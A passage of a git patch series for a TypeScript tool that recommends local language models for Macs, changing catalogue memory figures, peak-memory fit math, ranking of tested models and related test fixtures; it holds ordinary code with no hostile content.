compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"'; /** - * The same line as the 48 GB MacBook (Apple M5 Pro) printed it on 2026-11-06. The measurement - * notes quote `total="37.4 GiB" available="37.4 GiB"`; the rest of the line is the Mac mini's - * with the chip name and a time filled in. `parseInferenceComputeTotal()` must read - * 40,157,944,217 bytes from it. + * The same line for the 48 GB MacBook (Apple M5 Pro), RECONSTRUCTED: the measurement notes of + * 2026-11-06 quote only `total="37.4 GiB" available="37.4 GiB"` from it, so the rest is the + * Mac mini's line with the chip name and a time filled in (hence no `REAL_` in the name). + * `parseInferenceComputeTotal()` must read 40,157,944,217 bytes from it. */ -export const REAL_INFERENCE_COMPUTE_LINE_MACBOOK = +export const INFERENCE_COMPUTE_LINE_MACBOOK = 'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"'; /** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */ diff --git a/test/local-model-fake-ollama.test.ts b/test/local-model-fake-ollama.test.ts index 35440acd..ccd207de 100644 --- a/test/local-model-fake-ollama.test.ts +++ b/test/local-model-fake-ollama.test.ts @@ -23,9 +23,9 @@ import { fakeRuntimeLog, FakeRuntimeChild, freeLoopbackPort, + INFERENCE_COMPUTE_LINE_MACBOOK, MACBOOK_MEASURED_TOTAL_BYTES, REAL_INFERENCE_COMPUTE_LINE_MAC_MINI, - REAL_INFERENCE_COMPUTE_LINE_MACBOOK, REAL_PULL_ERROR_LINE, startFakeOllama, type FakeOllama, @@ -364,7 +364,7 @@ describe('the fake runtime: the archive', () => { describe('the fake runtime: the child process', () => { it('holds the real log lines with the device total', () => { expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"'); - expect(REAL_INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"'); + expect(INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"'); expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3)); expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"'); }); From 492df776d047774bc598d7911d2e67375308c949 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:37 +0100 Subject: [PATCH 11/28] feat(local-model): judge the fit on the measured peak and rank a tested Mac first The catalogue rows carry the figures measured on a Mac (the MLX build of qwen3.6:35b-a3b is 23,105,798,956 bytes, about 37 KB held per context token, about 3 GB of runner overhead, about 5 GB more for a moment while a long prompt is processed). A model's need is now its peak. Rows that were not measured use the same per-token and overhead figures and say `estimated`. qwen3.6:35b-a3b gets the tested entry for an Apple M5 Pro with 48 GB and OpenCode, with its measured 67.7 tokens per second, so that row may say "Tested on a Mac like this". The ranking changes with it: a pair tested on a Mac like this one comes first, then speed (ok, unknown, slow), then model rank, harness rank and the larger context. The fit grade decides whether a row is listed and what it says, it no longer sorts, so a model is offered at the largest context it fits at. recommend() takes the budget the runtime measured (`budgetSource: measured`), and modelFitsBudget() judges one model against it. Candidate rows now always carry `needSource`, `harnesses`, `installBytes`, `installGb` and, where one applies, `tag`. `kvBytesPerToken` and the prompt cache tiers are gone. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/config/local-model-catalog.ts | 116 +-- src/local-model/format.ts | 12 +- src/local-model/recommend.ts | 224 ++++-- src/types/local-model.ts | 121 +-- test/local-model-catalog.test.ts | 112 ++- test/local-model-fits-budget.test.ts | 48 +- test/local-model-recommend.test.ts | 1110 +++++++++++++++++++------- 7 files changed, 1241 insertions(+), 502 deletions(-) diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts index a66a111e..a1e578b9 100644 --- a/src/config/local-model-catalog.ts +++ b/src/config/local-model-catalog.ts @@ -3,8 +3,9 @@ * knows, as a compiled constant validated by a Zod schema. * * Rules: - * - There is NO override file and no runtime download data in this stage: nothing here reads - * the data dir, and a data file can never decide what gets recommended. + * - There is NO override file and no runtime download data here: nothing in this file reads + * the data dir, and a data file can never decide what gets recommended. Which runtime build + * is downloaded is a compiled constant of its own (src/local-model/runtime.ts). * - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can * only ever name a model of the default registry and namespace. * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI @@ -13,7 +14,7 @@ * src/local-model/harness-facts.ts, never here. * - The schema checks more than fields. Across rows it requires: unique model ids and ranks, * unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness - * row, `chips` most specific first, and `promptCacheTiers` ascending from 0. + * row, and `chips` most specific first. * - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and * throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses, * so a bad row fails the gate and never reaches the route. @@ -22,26 +23,44 @@ * * | Figure | Source | Checked | * |----------------------|-----------------------------------------------------------|--------------------------------------| - * | `id`, `bytes` | registry manifest of the tag, sum of its layer sizes | yes, to the byte, by the facts review | + * | `id` | the registry's tag | yes, by the facts review | + * | `bytes` | `qwen3.6:35b-a3b`: the total of a real pull on a Mac | that row: measured. It is an MLX | + * | | (23,105,798,956). Every other row: the sum of the layer | build on a Mac, 2% above its | + * | | sizes of the tag's registry manifest | manifest. The others: not on a Mac | + * | `heldBytesPerToken`, | measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with | that row: measured. The others carry | + * | `overheadBytes`, | 48 GB: 36,000 to 38,000 bytes held per token of context, | the SAME three figures, not their | + * | `peakExtraBytes` | 2.5 to 3 GB beside the weights, and about 5 GB more for a | own: nobody ran them. `figures` says | + * | | moment while a long prompt is processed | which row is which | * | `license` | the model card (all Apache-2.0) | read by the research, not re-checked | * | `paramsB` | 27.8 from the model card; the others are the count in the | no. Only the 12 billion line reads | * | | model's name | it, and no row is near that line | - * | `kvBytesPerToken` | COMPUTED from each model's config: 2 x full-attention | no. Not measured in a running | - * | | layers x KV heads x head size x 2 bytes | runtime. The review called the | - * | | | gpt-oss figure plausible, no more | * | `contexts`, `rank` | a judgement of the design | no | * | `speedPer100Gbps` | one published run on an M1 Max (400 GB/s): generation | the run was read. It stands for less | * | | only, short prompt. The two q8_0 rows are SCALED by file | than a session: no long prompt, no | * | | size, not measured | thinking tokens | + * | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed | * | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review | - * | `promptCacheTiers` | a decision of the design, not a measurement | no | * | harness `minContext` | 65536: the runtime's documentation for both harnesses. | 65536 yes. 32768 no, which is why | * | | 32768: recalled | that row is gated | * | `chips` | the bandwidth column of | yes, read at the source for this | * | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file | * - * `tested` is empty on every row: nobody has run any of these models with a harness on a Mac - * yet. Until a row has an entry, the recommendation never says "Recommended". + * The memory figures decide a lot and rest on ONE measured model, so for every other row they + * can be wrong in either direction: + * - For the 9B rows they may be too HIGH (the 5 GB for a moment was seen with a prompt of + * 89,000 tokens on the 35B model). That errs on the careful side: a small Mac is told + * "none" before it is told to download something that may not fit. + * - For the two dense `qwen3.8:27b` rows the per-token figure may be too LOW: computed from + * its config alone that model holds 64 KiB per token, more than the 37,000 bytes measured + * on the 35B (whose own computed figure was 20 KiB). Their need at a large context is + * therefore the least certain figure of the catalogue. + * A row gets its own figures when somebody measures it. Until then the check after the + * download (the runtime must report the whole model on the GPU) is what catches a row that + * was judged too kindly. + * + * `tested` has one entry: `qwen3.6:35b-a3b` with OpenCode on an Apple M5 Pro with 48 GB, + * 2026-11-06, 67.7 tokens per second. Only a Mac of exactly that chip and memory size is told + * "Recommended" and shown that speed in place of the estimate. */ import { z } from 'zod'; @@ -85,6 +104,7 @@ const TestedOnSchema = z memGb: positiveInt, cli: z.string().min(1).max(24), date: isoDate, + tokensPerSecond: z.number().positive().optional(), }) .strict(); @@ -95,7 +115,10 @@ const LocalModelEntrySchema = z license: z.string().min(1).max(40), paramsB: z.number().positive(), bytes: positiveInt, - kvBytesPerToken: positiveInt, + heldBytesPerToken: positiveInt, + overheadBytes: z.number().int().nonnegative(), + peakExtraBytes: z.number().int().nonnegative(), + figures: z.enum(['measured', 'estimated']), contexts: z.array(positiveInt).min(1), rank: z.number().int(), speedPer100Gbps: z.number().positive().optional(), @@ -120,13 +143,6 @@ const ChipEntrySchema = z }) .strict(); -const PromptCacheTierSchema = z - .object({ - minMemGb: z.number().int().nonnegative(), - bytes: z.number().int().nonnegative(), - }) - .strict(); - /** The index of the first value that already occurred earlier in the list, or -1. */ function firstRepeat<T>(values: readonly T[]): number { const seen = new Set<T>(); @@ -146,7 +162,6 @@ export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z schema: z.literal(1), updated: isoDate, minMacosMajor: positiveInt, - promptCacheTiers: z.array(PromptCacheTierSchema).min(1), models: z.array(LocalModelEntrySchema), harnesses: z.array(LocalHarnessEntrySchema), chips: z.array(ChipEntrySchema), @@ -199,23 +214,21 @@ export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z break; } } - - // The tiers are read as "the last one whose minimum is not above this Mac's memory", so they - // must start at 0 (every Mac has a tier) and ascend. - if (catalog.promptCacheTiers[0].minMemGb !== 0) { - issue(['promptCacheTiers', 0, 'minMemGb'], 'the first prompt cache tier must start at 0'); - } - for (let i = 1; i < catalog.promptCacheTiers.length; i++) { - if (catalog.promptCacheTiers[i].minMemGb <= catalog.promptCacheTiers[i - 1].minMemGb) { - issue(['promptCacheTiers', i, 'minMemGb'], 'prompt cache tiers must ascend by minMemGb'); - break; - } - } }); -const KIB = 1024; -const MIB = 1024 ** 2; -const GIB = 1024 ** 3; +/** + * The memory figures measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with 48 GB (2026-11-06, + * the MLX runner), in decimal bytes. That row carries them as `measured`; every other row + * carries the same three as `estimated`, see the file header. + */ +const MEASURED_MEMORY = { + /** 36,000 to 38,000 bytes stayed held per token of context after a prompt of 89,000 and one of 167,000 tokens. */ + heldBytesPerToken: 37_000, + /** The runner held 2.5 to 3 GB beside the weights. */ + overheadBytes: 3_000_000_000, + /** While a long prompt was processed the peak stood about 5 GB above what stayed held. */ + peakExtraBytes: 5_000_000_000, +} as const; /** * The catalogue that ships with Codeman. Never read directly outside this file and its test: @@ -226,12 +239,6 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { updated: '2026-11-06', // The oldest macOS the model runtime supports. minMacosMajor: 14, - // Host memory the runtime's prompt cache may take beside the model: 512 MiB on a Mac below - // 32 GB, 2 GiB from 32 GB. Part of the need of every candidate. - promptCacheTiers: [ - { minMemGb: 0, bytes: 512 * MIB }, - { minMemGb: 32, bytes: 2 * GIB }, - ], // Ordered by rank. The higher rank wins among models that fit equally well and are equally // fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it // has an open bug with tool arguments. @@ -242,7 +249,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 9, bytes: 6_550_825_373, - kvBytesPerToken: 32 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [65536, 32768], rank: 1, // 37.1 tokens per second measured on 400 GB/s. @@ -255,7 +263,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 9, bytes: 10_449_217_949, - kvBytesPerToken: 32 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [65536, 32768], rank: 2, // Not measured: the 9.3 of the row above scaled by file size. @@ -268,7 +277,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 20, bytes: 13_793_441_427, - kvBytesPerToken: 24 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [131072, 65536], rank: 3, // No speed figure: its speed is unknown on every chip. @@ -279,13 +289,18 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { label: 'Qwen3.6 35B-A3B', license: 'Apache-2.0', paramsB: 35, - bytes: 22_621_314_161, - kvBytesPerToken: 20 * KIB, + // What a Mac really downloads: an MLX build, 2% above the 22,621,314,161 of the manifest. + bytes: 23_105_798_956, + ...MEASURED_MEMORY, + figures: 'measured', contexts: [131072, 65536], rank: 4, // 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token). + // The MLX build ran faster than this figure predicts on the one Mac we tested (67.7 + // against 41.8), so on other chips the estimate is on the low side. speedPer100Gbps: 13.6, - tested: [], + // Run by us with OpenCode on the MacBook Pro (Mac17,13): a four-step task with tool calls. + tested: [{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }], }, { id: 'qwen3.8:27b', @@ -293,7 +308,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 27.8, bytes: 17_741_871_939, - kvBytesPerToken: 64 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [131072, 65536, 32768], rank: 5, // 11.8 tokens per second measured on 400 GB/s. @@ -306,7 +322,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 27.8, bytes: 29_978_241_837, - kvBytesPerToken: 64 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [262144, 131072], rank: 6, // Not measured: the 2.95 of the row above scaled by file size. @@ -319,7 +336,8 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { license: 'Apache-2.0', paramsB: 122, bytes: 81_370_035_877, - kvBytesPerToken: 24 * KIB, + ...MEASURED_MEMORY, + figures: 'estimated', contexts: [131072], rank: 7, // No speed figure: its speed is unknown on every chip. diff --git a/src/local-model/format.ts b/src/local-model/format.ts index 4f8db32d..1fb6508b 100644 --- a/src/local-model/format.ts +++ b/src/local-model/format.ts @@ -7,12 +7,12 @@ * `budgetGb`, and the size slots of a `LocalModelMessage`). Nothing else may turn bytes into a * size for display, the browser included: it prints the text it was sent. * - * GiB and MiB exist only for the budget math (reserves, the wired limit, the prompt cache) and - * never reach a person, with one exception: `memClassGb()`, the memory size a Mac is sold as, - * is how the card names the installed memory ("48 GB memory", what About This Mac shows). It - * is a name of the machine, not a computed size: `formatGb()` of the same bytes reads 51.5, - * which no owner recognises. Every computed size (need, budget, download, free disk) is - * `formatGb()`. + * GiB and MiB exist only for the budget math (reserves, the wired limit, the device total the + * runtime reports) and never reach a person, with one exception: `memClassGb()`, the memory + * size a Mac is sold as, is how the card names the installed memory ("48 GB memory", what + * About This Mac shows). It is a name of the machine, not a computed size: `formatGb()` of the + * same bytes reads 51.5, which no owner recognises. Every computed size (need, budget, + * download, free disk) is `formatGb()`. * * Pure: no IO, no state. */ diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index f9845285..752a32df 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -3,21 +3,33 @@ * fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir. * * The math, in the order it runs: - * - `deviceBudget()`: L is the wired limit when it is above 0, else 2/3 of memory below 36 GB - * and 3/4 from 36 GB. B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to - * 18 GB, 8 GiB up to 48 GB and 12 GiB above. - * - `needBytes()`: F = weights + kvBytesPerToken * ctx + 1 GiB + the prompt cache tier of the - * catalogue for this Mac's memory. - * - Fit: F/B up to 0.85 is good, up to 0.98 is tight, above is out. - * - Speed: tokens per second = the model's `speedPer100Gbps` x the chip's bandwidth / 100. - * Below 10 is slow, decided on the unrounded product (9.96 is slow although it prints as - * 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a + * - `deviceBudget()`. ESTIMATED (all there is before the runtime ran): L is the wired limit + * when it is above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB, and + * B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to 18 GB, 8 GiB up to + * 48 GB and 12 GiB above. MEASURED (`RecommendOptions.measuredTotalBytes`, the device total + * the runtime printed when it started): L is that total and B = min(L, memory - reserve), + * without the 1 GiB, because the figure is already what the runtime will really use. + * - `needBytes()`: the PEAK, `bytes + heldBytesPerToken * ctx + overheadBytes + + * peakExtraBytes` of the catalogue row: the weights, what stays held per token of context, + * what the runner holds beside both, and what it takes for a moment while a long prompt is + * processed. Measured for one model on one Mac (see the catalogue header); every other row + * carries the same figures and says `estimated`. + * - Fit: need over budget up to 0.85 is good, up to 0.98 is tight, above is out. The grade + * decides whether a model is offered at all and what its row says. It does NOT sort: the + * need is the worst moment at the full context, so a tight fit is a model that runs, and a + * Mac whose best model is tight should be offered that model, not a smaller one. + * - Speed: a candidate that matches a `tested` entry with a measured speed reports that + * speed. Every other one is estimated: the model's `speedPer100Gbps` x the chip's bandwidth + * / 100. Below 10 is slow, decided on the unrounded figure (9.96 is slow although it prints + * as 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a * bandwidth is never guessed. * - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not * gated, installed or installable, and accepting the model id. - * - Ranking, lexicographic: good before tight; ok before unknown before slow; the higher model - * rank; the higher harness rank; the larger context. The pick is the first candidate, the - * alternatives are the next four MODELS, each at its own best context and harness. + * - Ranking, lexicographic: tested on a Mac like this before not tested (a measurement beats + * a formula); ok before unknown before slow; the higher model rank; the higher harness + * rank; the larger context. The pick is the first candidate, the alternatives are the next + * four MODELS, each at its own best context and harness, so a model is always offered at + * the largest context it fits at. * - Disk: a model whose download would leave less than 10 GiB free is not offered. It is not * dropped in silence: the best-ranked model left out that way is named in `noteDiskDropped` * with what is missing. @@ -32,8 +44,8 @@ * installable). * 6. `memory`: models fit, but none at a context a usable harness needs. Its own sentence * (`noneMemoryContext`) with the budget and the smallest need at such a context, because - * this Mac can miss by a hair (the 16 GB Mac mini: 10.3 of 10.4 GB) and "too little - * memory" would hide that the answer rests on an estimate. + * "too little memory" would hide that a model does fit at a smaller context and that the + * answer rests on estimates. * 7. `no-harness`: models fit at such a context, but no usable harness accepts their id. * 8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an * unknown free disk does not block). @@ -42,16 +54,20 @@ * - Verdict `limited` when NO model with 12 billion parameters or more fits this Mac's memory * at a context a usable harness works at. It is a statement about the Mac ("This Mac can run * a small model"), so it is judged on everything that fits, BEFORE the disk filter and - * whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B, a 27B and a 35B - * are listed under it is not a small-model Mac, and a 48 GB Mac does not become one because - * its disk is full. A small pick under verdict `ok` carries `noteSmallPick` instead. + * whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B is listed under it + * is not a small-model Mac, and a 48 GB Mac does not become one because its disk is full. A + * small pick under verdict `ok` carries `noteSmallPick` instead. * - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a * pick whose model has a `tested` entry for exactly this chip, this memory size and this * harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`. - * - Every label in the result comes from `LOCAL_MODEL_LABELS`, every computed size text from - * `formatGb()`. The one size that is not decimal GB is the installed memory in `noneMemory`: - * `HardwareFacts.memClassGb`, the size the Mac is sold as. No number is spliced into a - * sentence here. + * - Every row carries what the chooser needs and nothing the browser must work out: its one + * tag (`tagFor()`), every harness it can run with (`Candidate.harnesses`, the flat harness + * fields first), and the whole download of an install (`installBytes`: the model plus + * `RecommendOptions.runtimeDownloadBytes`). + * - Every label in the result comes from `LOCAL_MODEL_LABELS` or `LOCAL_MODEL_TAG_LABELS`, + * every computed size text from `formatGb()`. The one size that is not decimal GB is the + * installed memory in `noneMemory`: `HardwareFacts.memClassGb`, the size the Mac is sold + * as. No number is spliced into a sentence here. * - No CLI id is ever compared with a literal: a harness is a catalogue row plus a * `HarnessFact`. */ @@ -59,7 +75,11 @@ import { LOCAL_MODEL_LABELS, LOCAL_MODEL_NONE_LABELS, + LOCAL_MODEL_TAG_LABELS, type Candidate, + type CandidateHarness, + type CandidateTag, + type CandidateTagKind, type DeviceBudget, type FitGrade, type HardwareFacts, @@ -73,6 +93,7 @@ import { type Recommendation, type RecommendOptions, type SpeedGrade, + type TestedOn, } from '../types.js'; import { chipBandwidthGbps } from '../config/local-model-catalog.js'; import { formatGb, GIB, MIB } from './format.js'; @@ -81,14 +102,12 @@ import { formatGb, GIB, MIB } from './format.js'; export const FIT_GOOD_MAX_SHARE = 0.85; /** Need over budget up to this share is a `tight` fit; above it the model is out. */ export const FIT_TIGHT_MAX_SHARE = 0.98; -/** An estimated speed below this many tokens per second is `slow`. */ +/** A speed below this many tokens per second is `slow`. */ export const SLOW_BELOW_TOKENS_PER_SECOND = 10; /** When no model that fits has at least this many billion parameters, the verdict is `limited`. A pick below it is a "small model". */ export const LIMITED_BELOW_PARAMS_B = 12; /** What must stay free on the disk after the model download. */ export const DISK_HEADROOM_BYTES = 10 * GIB; -/** What the runtime needs beside the weights, the KV cache and the prompt cache (compute buffers). */ -export const RUNTIME_OVERHEAD_BYTES = GIB; /** How many other models are listed under the pick. */ export const MAX_ALTERNATIVES = 4; @@ -102,30 +121,39 @@ function reserveBytes(memClassGb: number): number { return 12 * GIB; } -/** The memory a model may use on this Mac: the device limit L, the budget B and where L came from. */ -export function deviceBudget(hw: HardwareFacts): DeviceBudget { +/** A byte count a caller supplied, when it is one: finite and above 0. */ +function positiveBytes(value: number | undefined): number | undefined { + return value !== undefined && Number.isFinite(value) && value > 0 ? Math.floor(value) : undefined; +} + +/** + * The memory a model may use on this Mac: the device limit L, the budget B and where L came + * from. With `options.measuredTotalBytes` the limit is what the runtime itself reported and + * the 1 GiB the estimate keeps back is not subtracted; the reserve bounds both. + */ +export function deviceBudget(hw: HardwareFacts, options: RecommendOptions = {}): DeviceBudget { const memBytes = Number.isFinite(hw.memBytes) && hw.memBytes > 0 ? hw.memBytes : 0; + const afterReserve = memBytes - reserveBytes(hw.memClassGb); + const measured = positiveBytes(options.measuredTotalBytes); + if (measured !== undefined) { + return { limitBytes: measured, budgetBytes: Math.max(0, Math.min(measured, afterReserve)), source: 'measured' }; + } // 0 means "not set" (both test Macs report 0): only a value above 0 is a limit. const wired = hw.wiredLimitMb !== undefined && Number.isFinite(hw.wiredLimitMb) && hw.wiredLimitMb > 0; const limitBytes = wired ? Math.floor((hw.wiredLimitMb as number) * MIB) : Math.floor(memBytes * (hw.memClassGb < LARGE_LIMIT_FROM_GB ? 2 / 3 : 3 / 4)); - const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, memBytes - reserveBytes(hw.memClassGb))); + const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, afterReserve)); return { limitBytes, budgetBytes, source: wired ? 'wired-limit' : 'estimated' }; } -/** The prompt cache of the last tier whose minimum is not above this Mac's memory size. */ -function promptCacheBytes(catalog: LocalModelCatalog, memClassGb: number): number { - let bytes = 0; - for (const tier of catalog.promptCacheTiers) { - if (tier.minMemGb <= memClassGb) bytes = tier.bytes; - } - return bytes; -} - -/** F: the bytes `model` needs in memory at a context of `ctx` tokens on this Mac. */ -export function needBytes(model: LocalModelEntry, ctx: number, catalog: LocalModelCatalog, hw: HardwareFacts): number { - return model.bytes + model.kvBytesPerToken * ctx + RUNTIME_OVERHEAD_BYTES + promptCacheBytes(catalog, hw.memClassGb); +/** + * The bytes `model` needs in memory at a context of `ctx` tokens, at its PEAK: the weights, + * what stays held for the context, what the runner holds beside them, and what it takes for a + * moment while a long prompt is processed. It does not depend on the Mac. + */ +export function needBytes(model: LocalModelEntry, ctx: number): number { + return model.bytes + model.heldBytesPerToken * ctx + model.overheadBytes + model.peakExtraBytes; } function fitGrade(need: number, budgetBytes: number): FitGrade { @@ -139,12 +167,10 @@ function fitGrade(need: number, budgetBytes: number): FitGrade { /** * Whether the catalogue model `modelId` at `context` tokens fits this Mac's budget (a `good` * or a `tight` fit). The install job asks this right after the runtime started, with the - * budget the runtime measured, BEFORE it downloads the model: a `false` ends the job with - * `does-not-fit`. It is the same judgement `recommend()` makes for a candidate, without the - * ranking, so a model that fits is never ruled out for being listed sixth. - * - * `options` is the stage 2 input, as for `recommend()`; nothing reads it yet, so the budget - * is still the estimate. False for a model the catalogue does not have. + * budget the runtime measured (`options.measuredTotalBytes`), BEFORE it downloads the model: a + * `false` ends the job with `does-not-fit`. It is the same judgement `recommend()` makes for a + * candidate, without the ranking, so a model that fits is never ruled out for being listed + * sixth. False for a model the catalogue does not have. */ export function modelFitsBudget( hw: HardwareFacts, @@ -153,10 +179,9 @@ export function modelFitsBudget( context: number, options: RecommendOptions = {} ): boolean { - void options; const model = catalog.models.find((entry) => entry.id === modelId); - if (!model) return false; - return fitGrade(needBytes(model, context, catalog, hw), deviceBudget(hw).budgetBytes) !== 'out'; + if (!model || !Number.isFinite(context) || context <= 0) return false; + return fitGrade(needBytes(model, context), deviceBudget(hw, options).budgetBytes) !== 'out'; } /** @@ -189,13 +214,12 @@ interface UsableHarness { fact: HarnessFact; } -const FIT_ORDER: Record<Candidate['fit'], number> = { good: 0, tight: 1 }; const SPEED_ORDER: Record<SpeedGrade, number> = { ok: 0, unknown: 1, slow: 2 }; -/** Best first. */ +/** Best first. The fit grade is not a key: every candidate here fits, see the file header. */ function compareRanked(a: Ranked, b: Ranked): number { return ( - FIT_ORDER[a.candidate.fit] - FIT_ORDER[b.candidate.fit] || + Number(b.candidate.tested) - Number(a.candidate.tested) || SPEED_ORDER[a.candidate.speed] - SPEED_ORDER[b.candidate.speed] || b.modelRank - a.modelRank || b.harnessRank - a.harnessRank || @@ -212,27 +236,53 @@ function accepts(fact: HarnessFact, modelId: string): boolean { } } +/** What the chooser's "Runs with" select needs to know about one harness. */ +function candidateHarness(harness: UsableHarness): CandidateHarness { + const { row, fact } = harness; + return { + cli: row.cli, + cliLabel: fact.label, + installed: fact.installed, + // Only a harness that still has to be installed has a command to show. + ...(!fact.installed && fact.installCommand ? { installCommand: fact.installCommand } : {}), + ...(row.slowFirstTurn ? { slowFirstTurn: true } : {}), + }; +} + +/** + * The entry that makes this model "tested on a Mac like this": exactly the same chip string, + * the same memory size as sold, the same harness. + */ +function testedEntry(model: LocalModelEntry, hw: HardwareFacts, cli: string): TestedOn | undefined { + return model.tested.find((entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === cli); +} + function buildCandidate( model: LocalModelEntry, ctx: number, harness: UsableHarness, + /** Every usable harness that can run this model at this context, `harness` among them. */ + runsWith: readonly UsableHarness[], need: number, fit: Candidate['fit'], hw: HardwareFacts, catalog: LocalModelCatalog, - budgetBytes: number + budgetBytes: number, + runtimeDownloadBytes: number ): Candidate { + const testedOn = testedEntry(model, hw, harness.row.cli); const gbps = chipBandwidthGbps(catalog.chips, hw.chip); + // A speed measured on a Mac like this one beats the estimate from the chip's bandwidth. const rawSpeed = - gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined; + testedOn?.tokensPerSecond ?? + (gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined); // Graded on the unrounded figure: 9.96 rounds to 10.0 for the payload and is still slow. const speed: SpeedGrade = rawSpeed === undefined ? 'unknown' : rawSpeed < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok'; const tokensPerSecond = rawSpeed === undefined ? undefined : round(rawSpeed, 1); - // "A Mac like this" is exact: the same chip string, the same memory size as sold, the same harness. - const tested = model.tested.some( - (entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === harness.row.cli - ); + // The harness of the flat fields first, then the others, best first. + const others = runsWith.filter((other) => other !== harness).sort((a, b) => b.row.rank - a.row.rank); + const installBytes = model.bytes + runtimeDownloadBytes; return { modelId: model.id, modelLabel: model.label, @@ -254,10 +304,39 @@ function buildCandidate( ...(speed === 'slow' ? { speedLabel: LOCAL_MODEL_LABELS.speedSlow } : {}), ...(speed === 'unknown' ? { speedLabel: LOCAL_MODEL_LABELS.speedUnknown } : {}), ...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}), - tested, + tested: testedOn !== undefined, + needSource: model.figures, + harnesses: [harness, ...others].map(candidateHarness), + installBytes, + installGb: formatGb(installBytes), }; } +/** + * The one tag of a row: the first kind that applies, in the order tested, best (the pick), + * tight, slow, small. `undefined` when none does. + */ +function tagFor(candidate: Candidate, isPick: boolean): CandidateTag | undefined { + const kind: CandidateTagKind | undefined = candidate.tested + ? 'tested' + : isPick + ? 'best' + : candidate.fit === 'tight' + ? 'tight' + : candidate.speed === 'slow' + ? 'slow' + : candidate.paramsB < LIMITED_BELOW_PARAMS_B + ? 'small' + : undefined; + return kind === undefined ? undefined : { kind, label: LOCAL_MODEL_TAG_LABELS[kind] }; +} + +/** `candidate` with its tag, when it has one. */ +function withTag(candidate: Candidate, isPick: boolean): Candidate { + const tag = tagFor(candidate, isPick); + return tag ? { ...candidate, tag } : candidate; +} + /** A `none` answer. `text` replaces the reason's default sentence (the `memory` reason has three). */ function none( reason: NoneReason, @@ -281,9 +360,9 @@ function none( * The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the * caller could resolve; a catalogue harness without a fact is not offered. * - * `options` is the stage 2 input (`RecommendOptions`: the budget the runtime measured, and - * the runtime download an install still needs). The parameter is in place so callers compile - * against the final signature; nothing reads it 